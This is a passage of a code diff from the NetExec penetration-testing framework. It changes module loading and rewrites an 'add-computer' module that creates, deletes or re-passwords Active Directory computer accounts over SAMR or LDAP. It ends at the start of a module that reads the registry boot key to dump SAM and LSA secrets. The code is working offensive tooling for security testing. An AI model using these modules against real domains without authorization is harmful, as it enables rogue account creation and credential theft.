||||
cls.module_cache[module_path] = module
|
||||
return cls.module_cache[module_path]
|
||||
|
||||
def load_module(self, module_path):
|
||||
"""Load and initialize a module, list_modules() already checked that it has the proper attributes"""
|
||||
try:
|
||||
return self.load_module_file(module_path).NXCModule()
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Failed loading module at {module_path}: {e}")
|
||||
self.logger.debug(traceback.format_exc())
|
||||
|
||||
def init_module(self, module_path):
|
||||
"""Initialize a module for execution"""
|
||||
module = None
|
||||
module = self.load_module(module_path)
|
||||
|
||||
if module:
|
||||
@@ -78,7 +103,8 @@ class ModuleLoader:
|
||||
key, value = option.split("=", 1)
|
||||
module_options[str(key).upper()] = value
|
||||
|
||||
module.options(context, module_options)
|
||||
if module.options(context, module_options) is False:
|
||||
raise ModuleOptionsError(f"Module {module.name} aborted the run from options()")
|
||||
return module
|
||||
else:
|
||||
self.logger.fail(f"Module {module.name.upper()} is not supported for protocol {self.args.protocol}")
|
||||
@@ -87,8 +113,7 @@ class ModuleLoader:
|
||||
def get_module_info(self, module_path):
|
||||
"""Get the path, description, and options from a module"""
|
||||
try:
|
||||
spec = importlib.util.spec_from_file_location("NXCModule", module_path)
|
||||
module_spec = spec.loader.load_module().NXCModule
|
||||
module_spec = self.load_module_file(module_path).NXCModule
|
||||
|
||||
module = {
|
||||
f"{module_spec.name}": {
|
||||
@@ -106,8 +131,28 @@ class ModuleLoader:
|
||||
self.logger.fail(f"Failed loading module at {module_path}: {e}")
|
||||
self.logger.debug(traceback.format_exc())
|
||||
|
||||
def list_modules(self):
|
||||
"""List modules without initializing them"""
|
||||
def get_module_info_static(self, module_path):
|
||||
"""Read the listing info of a module from its source without running it, falling back to get_module_info() if it is not plain literals"""
|
||||
try:
|
||||
with open(module_path, "rb") as f:
|
||||
module_class = [node for node in ast.parse(f.read()).body if isinstance(node, ast.ClassDef) and node.name == "NXCModule"][-1]
|
||||
|
||||
# ast can't see what a base class or a decorator adds, so these modules are imported
|
||||
if not module_class.bases and not module_class.decorator_list:
|
||||
values = {target.id: node.value for node in module_class.body if isinstance(node, ast.Assign) for target in node.targets if isinstance(target, ast.Name)}
|
||||
module = SimpleNamespace(
|
||||
**{node.name: node for node in module_class.body if isinstance(node, ast.FunctionDef | ast.AsyncFunctionDef)},
|
||||
**{key: ast.literal_eval(values[key]) for key in ("name", "description", "supported_protocols")},
|
||||
category=CATEGORY[values["category"].attr],
|
||||
)
|
||||
# No "options" key on purpose: only -M --options reads it, and -M goes through get_module_info()
|
||||
return {module.name: {"path": module_path, "description": module.description, "supported_protocols": module.supported_protocols, "category": module.category, "requires_admin": hasattr(module, "on_admin_login")}} if self.module_is_sane(module, module_path) else {}
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Could not read {module_path} statically: {e}")
|
||||
return self.get_module_info(module_path)
|
||||
|
||||
def list_modules(self, names=None):
|
||||
"""List modules without initializing them, only the ones in names if given"""
|
||||
modules = {}
|
||||
modules_paths = [
|
||||
path_join(dirname(nxc.__file__), "modules"),
|
||||
@@ -116,10 +161,11 @@ class ModuleLoader:
|
||||
|
||||
for path in modules_paths:
|
||||
for module in listdir(path):
|
||||
if module[-3:] == ".py" and module != "example_module.py":
|
||||
if module[-3:] == ".py" and module != "example_module.py" and (names is None or module[:-3] in names):
|
||||
try:
|
||||
module_path = path_join(path, module)
|
||||
module_data = self.get_module_info(module_path)
|
||||
# -L reads the shipped modules statically, user modules are still imported so a broken one is reported
|
||||
module_data = self.get_module_info_static(module_path) if names is None and path == modules_paths[0] else self.get_module_info(module_path)
|
||||
modules.update(module_data)
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error loading module {module}: {e}")
|
||||
|
||||
+2
-1
@@ -181,7 +181,8 @@ class NXCAdapter(logging.LoggerAdapter):
|
||||
|
||||
if not os.path.isfile(output_file):
|
||||
try:
|
||||
open(output_file, "x") # noqa: SIM115
|
||||
with open(output_file, "x"):
|
||||
pass
|
||||
except FileNotFoundError:
|
||||
print(f"{colored('[-]', 'red', attrs=['bold'])} Log file path does not exist: {os.path.dirname(output_file)}")
|
||||
exit(1)
|
||||
|
||||
+230
-224
@@ -1,269 +1,275 @@
|
||||
import ssl
|
||||
import ldap3
|
||||
import sys
|
||||
from impacket.dcerpc.v5 import samr, epm, transport
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
|
||||
|
||||
from impacket.dcerpc.v5 import samr
|
||||
from impacket.ldap.ldap import LDAPSessionError, MODIFY_REPLACE
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.rpc import NXCRPCConnection
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Module by CyberCelt: @Cyb3rC3lt
|
||||
Refactored to use impacket LDAP CRUD operations instead of ldap3.
|
||||
|
||||
Initial module:
|
||||
https://github.com/Cyb3rC3lt/CrackMapExec-Modules
|
||||
Thanks to the guys at impacket for the original code
|
||||
"""
|
||||
|
||||
name = "add-computer"
|
||||
description = "Adds or deletes a domain computer"
|
||||
supported_protocols = ["smb"]
|
||||
description = "Adds or deletes a domain computer via SAMR (SMB) or LDAP"
|
||||
supported_protocols = ["smb", "ldap"]
|
||||
category = CATEGORY.PRIVILEGE_ESCALATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
add-computer: Specify add-computer to call the module using smb
|
||||
NAME: Specify the NAME option to name the Computer to be added
|
||||
PASSWORD: Specify the PASSWORD option to supply a password for the Computer to be added
|
||||
DELETE: Specify DELETE to remove a Computer
|
||||
CHANGEPW: Specify CHANGEPW to modify a Computer password
|
||||
Usage: nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" PASSWORD="Password1"
|
||||
nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" DELETE=True
|
||||
nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" PASSWORD="Password2" CHANGEPW=True
|
||||
add-computer: Adds, deletes, or changes the password of a domain computer account.
|
||||
Uses SAMR when invoked with nxc smb.
|
||||
|
||||
NAME Computer name (required). Trailing '$' is added automatically.
|
||||
PASSWORD Computer password (required for add/changepw).
|
||||
DELETE Set to delete the computer account.
|
||||
CHANGEPW Set to change an existing computer's password.
|
||||
|
||||
Usage (same syntax for ldap):
|
||||
nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" PASSWORD="Password1"
|
||||
nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" DELETE=True
|
||||
nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" PASSWORD="Password2" CHANGEPW=True
|
||||
"""
|
||||
self.__noAdd = False
|
||||
self.__delete = False
|
||||
self.noLDAPRequired = False
|
||||
self.delete = "DELETE" in module_options
|
||||
self.change_pw = False
|
||||
|
||||
if "DELETE" in module_options:
|
||||
self.__delete = True
|
||||
if "CHANGEPW" in module_options:
|
||||
if "NAME" not in module_options or "PASSWORD" not in module_options:
|
||||
context.log.error("NAME and PASSWORD options are required for CHANGEPW!")
|
||||
sys.exit(1)
|
||||
self.change_pw = True
|
||||
|
||||
if "CHANGEPW" in module_options and ("NAME" not in module_options or "PASSWORD" not in module_options):
|
||||
context.log.error("NAME and PASSWORD options are required!")
|
||||
sys.exit(1)
|
||||
elif "CHANGEPW" in module_options:
|
||||
self.__noAdd = True
|
||||
|
||||
if "NAME" in module_options:
|
||||
self.__computerName = module_options["NAME"]
|
||||
if self.__computerName[-1] != "$":
|
||||
self.__computerName += "$"
|
||||
else:
|
||||
if "NAME" not in module_options:
|
||||
context.log.error("NAME option is required!")
|
||||
sys.exit(1)
|
||||
|
||||
self.computer_name = module_options["NAME"]
|
||||
if not self.computer_name.endswith("$"):
|
||||
self.computer_name += "$"
|
||||
|
||||
if "PASSWORD" in module_options:
|
||||
self.__computerPassword = module_options["PASSWORD"]
|
||||
elif "PASSWORD" not in module_options and not self.__delete:
|
||||
self.computer_password = module_options["PASSWORD"]
|
||||
elif not self.delete:
|
||||
context.log.error("PASSWORD option is required!")
|
||||
sys.exit(1)
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
self.__domain = connection.domain
|
||||
self.__domainNetbios = connection.domain
|
||||
self.__kdcHost = connection.kdcHost
|
||||
self.__username = connection.username
|
||||
self.__password = connection.password
|
||||
self.__host = connection.host
|
||||
self.__aesKey = connection.aesKey
|
||||
self.__doKerberos = connection.kerberos
|
||||
self.__nthash = connection.nthash
|
||||
self.__lmhash = connection.lmhash
|
||||
|
||||
# First try to add via SAMR over SMB
|
||||
self.do_samr_add()
|
||||
if connection.args.protocol == "smb":
|
||||
self._do_samr()
|
||||
elif connection.args.protocol == "ldap":
|
||||
self._do_ldap()
|
||||
|
||||
# If SAMR fails now try over LDAPS
|
||||
if not self.noLDAPRequired:
|
||||
self.do_ldaps_add()
|
||||
def _db_remove_credential(self):
|
||||
try:
|
||||
db = self.context.db
|
||||
domain = self.connection.domain
|
||||
rows = db.get_user(domain, self.computer_name) if hasattr(db, "get_user") else db.get_credentials(filter_term=self.computer_name)
|
||||
db.remove_credentials([row[0] for row in rows])
|
||||
except Exception as e:
|
||||
self.context.log.debug(f"Could not remove credentials from DB: {e}")
|
||||
|
||||
def do_samr_add(self):
|
||||
"""Connects to a target server and performs various operations related to adding or deleting machine accounts."""
|
||||
string_binding = epm.hept_map(self.__host, samr.MSRPC_UUID_SAMR, protocol="ncacn_np")
|
||||
string_binding = string_binding.replace(self.__host, self.__kdcHost) if self.__kdcHost else string_binding
|
||||
def _db_add_credential(self):
|
||||
self.context.db.add_credential("plaintext", self.connection.domain, self.computer_name, self.computer_password)
|
||||
|
||||
rpc_transport = transport.DCERPCTransportFactory(string_binding)
|
||||
rpc_transport.setRemoteHost(self.__host)
|
||||
def _do_samr(self):
|
||||
try:
|
||||
dce = NXCRPCConnection(self.connection).connect(r"\samr", samr.MSRPC_UUID_SAMR)
|
||||
except Exception as e:
|
||||
self.context.log.fail(f"Failed to connect to SAMR: {e}")
|
||||
return
|
||||
|
||||
if hasattr(rpc_transport, "set_credentials"):
|
||||
# This method exists only for selected protocol sequences.
|
||||
rpc_transport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey)
|
||||
|
||||
rpc_transport.set_kerberos(self.__doKerberos, self.__kdcHost)
|
||||
|
||||
dce = rpc_transport.get_dce_rpc()
|
||||
if self.__doKerberos:
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
|
||||
dce.connect()
|
||||
dce.bind(samr.MSRPC_UUID_SAMR)
|
||||
|
||||
samr_connect_response = samr.hSamrConnect5(dce, f"\\\\{self.__kdcHost}\x00", samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN)
|
||||
serv_handle = samr_connect_response["ServerHandle"]
|
||||
|
||||
# Get the list of domains
|
||||
samr_enum_response = samr.hSamrEnumerateDomainsInSamServer(dce, serv_handle)
|
||||
domains = samr_enum_response["Buffer"]["Buffer"]
|
||||
domains_without_builtin = [domain for domain in domains if domain["Name"].lower() != "builtin"]
|
||||
if len(domains_without_builtin) > 1:
|
||||
domain = list(filter(lambda x: x["Name"].lower() == self.__domainNetbios, domains))
|
||||
if len(domain) != 1:
|
||||
self.context.log.fail(f"This domain does not exist: '{self.__domainNetbios}'")
|
||||
self.context.log.fail("Available domain(s):")
|
||||
for domain in domains:
|
||||
self.context.log.fail(f" * {domain['Name']}")
|
||||
raise Exception
|
||||
else:
|
||||
selected_domain = domain[0]["Name"]
|
||||
else:
|
||||
selected_domain = domains_without_builtin[0]["Name"]
|
||||
|
||||
domain_sid = samr.hSamrLookupDomainInSamServer(dce, serv_handle, selected_domain)["DomainId"]
|
||||
|
||||
self.context.log.debug(f"Opening domain {selected_domain}...")
|
||||
domain_handle = samr.hSamrOpenDomain(dce, serv_handle, samr.DOMAIN_LOOKUP | samr.DOMAIN_CREATE_USER, domain_sid)["DomainHandle"]
|
||||
|
||||
# Get handle for existing computer account
|
||||
if self.__noAdd or self.__delete:
|
||||
try:
|
||||
user_rid = samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])["RelativeIds"]["Element"][0]
|
||||
except samr.DCERPCSessionError as e:
|
||||
self.context.log.debug(f"samrLookupNamesInDomain failed: {e}")
|
||||
if "STATUS_NONE_MAPPED" in str(e):
|
||||
self.context.log.fail(f"{self.__computerName} not found in domain {selected_domain}")
|
||||
self.noLDAPRequired = True
|
||||
else:
|
||||
self.context.log.fail(f"Unexpected error looking up {self.__computerName} in domain {selected_domain}: {e}")
|
||||
return
|
||||
|
||||
if self.__delete:
|
||||
access = samr.DELETE
|
||||
message = "delete"
|
||||
else:
|
||||
access = samr.USER_FORCE_PASSWORD_CHANGE
|
||||
message = "set the password for"
|
||||
try:
|
||||
user_handle = samr.hSamrOpenUser(dce, domain_handle, access, user_rid)["UserHandle"]
|
||||
except samr.DCERPCSessionError as e:
|
||||
self.context.log.debug(f"samrOpenUser failed: {e}")
|
||||
if "STATUS_ACCESS_DENIED" in str(e):
|
||||
self.context.log.fail(f"{self.__username} does not have the right to {message} {self.__computerName}")
|
||||
self.noLDAPRequired = True
|
||||
else:
|
||||
self.context.log.fail(f"Unexpected error opening {self.__computerName} in domain {selected_domain}: {e}")
|
||||
return
|
||||
# Add computer account
|
||||
else:
|
||||
try:
|
||||
samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
|
||||
self.noLDAPRequired = True
|
||||
self.context.log.fail(f'Computer account already exists with the name: "{self.__computerName}"')
|
||||
except samr.DCERPCSessionError as e:
|
||||
self.context.log.debug(f"samrLookupNamesInDomain failed: {e}")
|
||||
if "STATUS_NONE_MAPPED" not in str(e):
|
||||
self.context.log.fail(f"Unexpected error looking up {self.__computerName} in domain {selected_domain}: {e}")
|
||||
return
|
||||
try:
|
||||
user_handle = samr.hSamrCreateUser2InDomain(
|
||||
dce,
|
||||
domain_handle,
|
||||
self.__computerName,
|
||||
samr.USER_WORKSTATION_TRUST_ACCOUNT,
|
||||
samr.USER_FORCE_PASSWORD_CHANGE,
|
||||
)["UserHandle"]
|
||||
self.noLDAPRequired = True
|
||||
self.context.log.highlight(f"Successfully added the machine account: '{self.__computerName}' with Password: '{self.__computerPassword}'")
|
||||
self.context.db.add_credential("plaintext", self.__domain, self.__computerName, self.__computerPassword)
|
||||
except samr.DCERPCSessionError as e:
|
||||
self.context.log.debug(f"samrCreateUser2InDomain failed: {e}")
|
||||
if "STATUS_ACCESS_DENIED" in str(e):
|
||||
self.context.log.fail(f"The following user does not have the right to create a computer account: {self.__username}")
|
||||
elif "STATUS_DS_MACHINE_ACCOUNT_QUOTA_EXCEEDED" in str(e):
|
||||
self.context.log.fail(f"The following user exceeded their machine account quota: {self.__username}")
|
||||
return
|
||||
|
||||
if self.__delete:
|
||||
samr.hSamrDeleteUser(dce, user_handle)
|
||||
self.context.log.highlight(f"Successfully deleted the '{self.__computerName}' Computer account")
|
||||
self.noLDAPRequired = True
|
||||
|
||||
# Removing the machine account in the DB
|
||||
user = self.context.db.get_user(self.__domain, self.__computerName)
|
||||
user_ids = [row[0] for row in user]
|
||||
self.context.db.remove_credentials(user_ids)
|
||||
else:
|
||||
samr.hSamrSetPasswordInternal4New(dce, user_handle, self.__computerPassword)
|
||||
if self.__noAdd:
|
||||
self.context.log.highlight(f"Successfully set the password of machine '{self.__computerName}' with password '{self.__computerPassword}'")
|
||||
self.noLDAPRequired = True
|
||||
else:
|
||||
user_rid = samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])["RelativeIds"]["Element"][0]
|
||||
user_handle = samr.hSamrOpenUser(dce, domain_handle, samr.MAXIMUM_ALLOWED, user_rid)["UserHandle"]
|
||||
req = samr.SAMPR_USER_INFO_BUFFER()
|
||||
req["tag"] = samr.USER_INFORMATION_CLASS.UserControlInformation
|
||||
req["Control"]["UserAccountControl"] = samr.USER_WORKSTATION_TRUST_ACCOUNT
|
||||
samr.hSamrSetInformationUser2(dce, user_handle, req)
|
||||
if not self.noLDAPRequired:
|
||||
self.context.log.highlight(f"Successfully added the machine account '{self.__computerName}' with Password: '{self.__computerPassword}'")
|
||||
self.noLDAPRequired = True
|
||||
|
||||
if user_handle is not None:
|
||||
samr.hSamrCloseHandle(dce, user_handle)
|
||||
if domain_handle is not None:
|
||||
samr.hSamrCloseHandle(dce, domain_handle)
|
||||
if serv_handle is not None:
|
||||
samr.hSamrCloseHandle(dce, serv_handle)
|
||||
try:
|
||||
self._samr_execute(dce, self.connection.conn.getRemoteName())
|
||||
finally:
|
||||
dce.disconnect()
|
||||
|
||||
self.context.db.add_credential("plaintext", self.__domain, self.__computerName, self.__computerPassword)
|
||||
def _samr_execute(self, dce, target_name):
|
||||
domain = self.connection.domain
|
||||
|
||||
def do_ldaps_add(self):
|
||||
"""Performs an LDAPS add operation."""
|
||||
ldap_domain = f"dc={self.connection.domain.replace('.', ',dc=')}"
|
||||
serv_handle = samr.hSamrConnect5(dce, f"\\\\{target_name}\x00", samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN)["ServerHandle"]
|
||||
domains = samr.hSamrEnumerateDomainsInSamServer(dce, serv_handle)["Buffer"]["Buffer"]
|
||||
non_builtin = [d for d in domains if d["Name"].lower() != "builtin"]
|
||||
|
||||
tls = ldap3.Tls(validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLSv1_2, ciphers="ALL:@SECLEVEL=0")
|
||||
ldap_server = ldap3.Server(self.connection.host, use_ssl=True, port=636, get_info=ldap3.ALL, tls=tls)
|
||||
c = ldap3.Connection(ldap_server, f"{self.connection.username}@{self.connection.domain}", self.connection.password)
|
||||
c.bind()
|
||||
|
||||
sAMAccountName = self.__computerName
|
||||
name = self.__computerName.rstrip("$")
|
||||
|
||||
if self.__delete:
|
||||
result = c.delete(f"cn={name},cn=Computers,{ldap_domain}")
|
||||
if result:
|
||||
self.context.log.highlight(f'Successfully deleted the "{sAMAccountName}" Computer account')
|
||||
elif result is False and c.last_error == "noSuchObject":
|
||||
self.context.log.fail(f'Computer named "{sAMAccountName}" was not found')
|
||||
elif result is False and c.last_error == "insufficientAccessRights":
|
||||
self.context.log.fail(f'Insufficient Access Rights to delete the Computer "{sAMAccountName}"')
|
||||
else:
|
||||
self.context.log.fail(f'Unable to delete the "{sAMAccountName}" Computer account. The error was: {c.last_error}')
|
||||
if len(non_builtin) > 1:
|
||||
matched = [d for d in domains if d["Name"].lower() == domain.lower()]
|
||||
if len(matched) != 1:
|
||||
self.context.log.fail(f"Domain '{domain}' not found. Available: {', '.join(d['Name'] for d in domains)}")
|
||||
return
|
||||
selected = matched[0]["Name"]
|
||||
else:
|
||||
spns = [
|
||||
f"HOST/{name}",
|
||||
f"HOST/{name}.{self.connection.domain}",
|
||||
f"RestrictedKrbHost/{name}",
|
||||
f"RestrictedKrbHost/{name}.{self.connection.domain}",
|
||||
]
|
||||
result = c.add(
|
||||
f"cn={name},cn=Computers,{ldap_domain}",
|
||||
selected = non_builtin[0]["Name"]
|
||||
|
||||
domain_sid = samr.hSamrLookupDomainInSamServer(dce, serv_handle, selected)["DomainId"]
|
||||
domain_handle = samr.hSamrOpenDomain(dce, serv_handle, samr.DOMAIN_LOOKUP | samr.DOMAIN_CREATE_USER, domain_sid)["DomainHandle"]
|
||||
|
||||
try:
|
||||
if self.delete or self.change_pw:
|
||||
user_handle = self._samr_open_existing(dce, domain_handle, selected, self.connection.username)
|
||||
else:
|
||||
user_handle = self._samr_create(dce, domain_handle, self.connection.username)
|
||||
|
||||
if user_handle is None:
|
||||
return
|
||||
|
||||
if self.delete:
|
||||
samr.hSamrDeleteUser(dce, user_handle)
|
||||
user_handle = None
|
||||
self.context.log.highlight(f"Successfully deleted the '{self.computer_name}' Computer account")
|
||||
self._db_remove_credential()
|
||||
else:
|
||||
samr.hSamrSetPasswordInternal4New(dce, user_handle, self.computer_password)
|
||||
if self.change_pw:
|
||||
self.context.log.highlight(f"Successfully changed password for '{self.computer_name}'")
|
||||
else:
|
||||
user_handle = self._samr_set_workstation_trust(dce, domain_handle, user_handle)
|
||||
self.context.log.highlight(f"Successfully added '{self.computer_name}' with password '{self.computer_password}'")
|
||||
self._db_add_credential()
|
||||
finally:
|
||||
if user_handle is not None:
|
||||
samr.hSamrCloseHandle(dce, user_handle)
|
||||
samr.hSamrCloseHandle(dce, domain_handle)
|
||||
samr.hSamrCloseHandle(dce, serv_handle)
|
||||
|
||||
def _samr_set_workstation_trust(self, dce, domain_handle, user_handle):
|
||||
user_rid = samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.computer_name])["RelativeIds"]["Element"][0]
|
||||
samr.hSamrCloseHandle(dce, user_handle)
|
||||
new_handle = samr.hSamrOpenUser(dce, domain_handle, samr.MAXIMUM_ALLOWED, user_rid)["UserHandle"]
|
||||
req = samr.SAMPR_USER_INFO_BUFFER()
|
||||
req["tag"] = samr.USER_INFORMATION_CLASS.UserControlInformation
|
||||
req["Control"]["UserAccountControl"] = samr.USER_WORKSTATION_TRUST_ACCOUNT
|
||||
samr.hSamrSetInformationUser2(dce, new_handle, req)
|
||||
return new_handle
|
||||
|
||||
def _samr_open_existing(self, dce, domain_handle, selected_domain, username):
|
||||
try:
|
||||
user_rid = samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.computer_name])["RelativeIds"]["Element"][0]
|
||||
except samr.DCERPCSessionError as e:
|
||||
if "STATUS_NONE_MAPPED" in str(e):
|
||||
self.context.log.fail(f"'{self.computer_name}' not found in domain {selected_domain}")
|
||||
else:
|
||||
self.context.log.fail(f"Error looking up {self.computer_name}: {e}")
|
||||
return None
|
||||
|
||||
try:
|
||||
access = samr.DELETE if self.delete else samr.USER_FORCE_PASSWORD_CHANGE
|
||||
return samr.hSamrOpenUser(dce, domain_handle, access, user_rid)["UserHandle"]
|
||||
except samr.DCERPCSessionError as e:
|
||||
if "STATUS_ACCESS_DENIED" in str(e):
|
||||
action = "delete" if self.delete else "change password for"
|
||||
self.context.log.fail(f"{username} does not have the right to {action} '{self.computer_name}'")
|
||||
else:
|
||||
self.context.log.fail(f"Error opening {self.computer_name}: {e}")
|
||||
return None
|
||||
|
||||
def _samr_create(self, dce, domain_handle, username):
|
||||
try:
|
||||
samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.computer_name])
|
||||
self.context.log.fail(f"Computer '{self.computer_name}' already exists")
|
||||
return None
|
||||
except samr.DCERPCSessionError as e:
|
||||
if "STATUS_NONE_MAPPED" not in str(e):
|
||||
self.context.log.fail(f"Error looking up {self.computer_name}: {e}")
|
||||
return None
|
||||
|
||||
try:
|
||||
# Doing this call manually because of weird exception handling in https://github.com/fortra/impacket/blob/084aff60df7e8a5784bee3fb6ac74ed9d1362af8/impacket/dcerpc/v5/samr.py#L2591-L2599
|
||||
request = samr.SamrCreateUser2InDomain()
|
||||
request["DomainHandle"] = domain_handle
|
||||
request["Name"] = self.computer_name
|
||||
request["AccountType"] = samr.USER_WORKSTATION_TRUST_ACCOUNT
|
||||
request["DesiredAccess"] = samr.USER_FORCE_PASSWORD_CHANGE
|
||||
return dce.request(request)["UserHandle"]
|
||||
except samr.DCERPCSessionError as e:
|
||||
if "STATUS_USER_EXISTS" in str(e):
|
||||
self.context.log.fail(f"Computer '{self.computer_name}' already exists")
|
||||
elif "STATUS_ACCESS_DENIED" in str(e):
|
||||
self.context.log.fail(f"{username} does not have the right to create a computer account")
|
||||
elif "STATUS_DS_MACHINE_ACCOUNT_QUOTA_EXCEEDED" in str(e):
|
||||
self.context.log.fail(f"{username} exceeded the machine account quota")
|
||||
else:
|
||||
self.context.log.fail(f"Error creating computer: {e}")
|
||||
return None
|
||||
|
||||
def _do_ldap(self):
|
||||
name = self.computer_name.rstrip("$")
|
||||
computer_dn = f"CN={name},CN=Computers,{self.connection.baseDN}"
|
||||
|
||||
if self.delete:
|
||||
self._ldap_delete(self.connection.ldap_connection, computer_dn)
|
||||
elif self.change_pw:
|
||||
self._ldap_change_password(self.connection.ldap_connection, computer_dn)
|
||||
else:
|
||||
self._ldap_add(self.connection.ldap_connection, computer_dn, name)
|
||||
|
||||
def _ldap_delete(self, ldap_conn, dn):
|
||||
try:
|
||||
ldap_conn.delete(dn)
|
||||
self.context.log.highlight(f'Successfully deleted the "{self.computer_name}" Computer account')
|
||||
self._db_remove_credential()
|
||||
except LDAPSessionError as e:
|
||||
if "noSuchObject" in str(e):
|
||||
self.context.log.fail(f'Computer "{self.computer_name}" was not found')
|
||||
elif "insufficientAccessRights" in str(e):
|
||||
self.context.log.fail(f'Insufficient rights to delete "{self.computer_name}"')
|
||||
else:
|
||||
self.context.log.fail(f'Failed to delete "{self.computer_name}": {e}')
|
||||
|
||||
def _ldap_change_password(self, ldap_conn, dn):
|
||||
try:
|
||||
encoded_pw = f'"{self.computer_password}"'.encode("utf-16-le")
|
||||
ldap_conn.modify(dn, {"unicodePwd": [(MODIFY_REPLACE, encoded_pw)]})
|
||||
self.context.log.highlight(f"Successfully changed password for '{self.computer_name}'")
|
||||
self._db_add_credential()
|
||||
except LDAPSessionError as e:
|
||||
if "noSuchObject" in str(e):
|
||||
self.context.log.fail(f'Computer "{self.computer_name}" was not found')
|
||||
elif "insufficientAccessRights" in str(e):
|
||||
self.context.log.fail(f'Insufficient rights to change password for "{self.computer_name}"')
|
||||
elif "unwillingToPerform" in str(e):
|
||||
self.context.log.fail(f'Server unwilling to change password for "{self.computer_name}"')
|
||||
else:
|
||||
self.context.log.fail(f'Failed to change password for "{self.computer_name}": {e}')
|
||||
|
||||
def _ldap_add(self, ldap_conn, dn, name):
|
||||
fqdn = f"{name}.{self.connection.domain}"
|
||||
spns = [
|
||||
f"HOST/{name}",
|
||||
f"HOST/{fqdn}",
|
||||
f"RestrictedKrbHost/{name}",
|
||||
f"RestrictedKrbHost/{fqdn}",
|
||||
]
|
||||
|
||||
try:
|
||||
ldap_conn.add(
|
||||
dn,
|
||||
["top", "person", "organizationalPerson", "user", "computer"],
|
||||
{
|
||||
"dnsHostName": f"{name}.{self.connection.domain}",
|
||||
"dnsHostName": fqdn,
|
||||
"userAccountControl": 0x1000,
|
||||
"servicePrincipalName": spns,
|
||||
"sAMAccountName": sAMAccountName,
|
||||
"unicodePwd": f'"{self.__computerPassword}"'.encode("utf-16-le")
|
||||
}
|
||||
"sAMAccountName": self.computer_name,
|
||||
"unicodePwd": f'"{self.computer_password}"'.encode("utf-16-le"),
|
||||
},
|
||||
)
|
||||
if result:
|
||||
self.context.log.highlight(f'Successfully added the machine account: "{sAMAccountName}" with Password: "{self.__computerPassword}"')
|
||||
self.context.log.highlight("You can try to verify this with the nxc command:")
|
||||
self.context.log.highlight(f"nxc ldap {self.connection.host} -u {self.connection.username} -p {self.connection.password} -M group-mem -o GROUP='Domain Computers'")
|
||||
elif result is False and c.last_error == "entryAlreadyExists":
|
||||
self.context.log.fail(f"The Computer account '{sAMAccountName}' already exists")
|
||||
elif not result:
|
||||
self.context.log.fail(f"Unable to add the '{sAMAccountName}' Computer account. The error was: {c.last_error}")
|
||||
c.unbind()
|
||||
self.context.log.highlight(f'Successfully added "{self.computer_name}" with password "{self.computer_password}"')
|
||||
self._db_add_credential()
|
||||
except LDAPSessionError as e:
|
||||
if "entryAlreadyExists" in str(e):
|
||||
self.context.log.fail(f"Computer '{self.computer_name}' already exists")
|
||||
elif "insufficientAccessRights" in str(e):
|
||||
self.context.log.fail(f"Insufficient rights to add '{self.computer_name}'")
|
||||
elif "unwillingToPerform" in str(e):
|
||||
self.context.log.fail("Server unwilling to perform")
|
||||
elif "constraintViolation" in str(e):
|
||||
self.context.log.fail(f"Constraint violation for '{self.computer_name}'. Quota exceeded or password policy.")
|
||||
else:
|
||||
self.context.log.fail(f"Failed to add '{self.computer_name}': {e}")
|
||||
+221
-54
@@ -1,11 +1,12 @@
|
||||
import contextlib
|
||||
from time import sleep
|
||||
import re
|
||||
from binascii import unhexlify
|
||||
|
||||
from impacket.examples.secretsdump import SAMHashes, LSASecrets, LocalOperations
|
||||
from impacket.smbconnection import SessionError
|
||||
from impacket.dcerpc.v5 import transport, rrp
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
from nxc.helpers.misc import CATEGORY, gen_random_string
|
||||
from nxc.helpers.rpc import NXCRPCConnection
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -17,33 +18,83 @@ class NXCModule:
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
self.domain_admin = None
|
||||
self.domain_admin_hash = None
|
||||
self.deleted_files = True # flag to check if SAM/SYSTEM/SECURITY files were deleted
|
||||
self.local_admin = None
|
||||
self.local_admin_hash = None
|
||||
self.machine_account = None
|
||||
self.machine_account_hash = None
|
||||
self.cleanup_user = None
|
||||
self.cleanup_hash = None
|
||||
self.system_hive_saved = False
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""NO OPTIONS"""
|
||||
|
||||
def get_boot_key(self, context, dce):
|
||||
"""
|
||||
Reads the boot key LIVE from the four Lsa subkeys' class-name field over RPC,
|
||||
using the already-connected `dce` this module sets up for the SAM/SECURITY
|
||||
hive saves. If this succeeds, no SYSTEM hive is ever saved to SYSVOL or
|
||||
downloaded at all.
|
||||
|
||||
Hand-ported from impacket's RemoteOperations.getBootKey() rather than calling
|
||||
RemoteOperations directly, because RemoteOperations.enableRegistry() starts the
|
||||
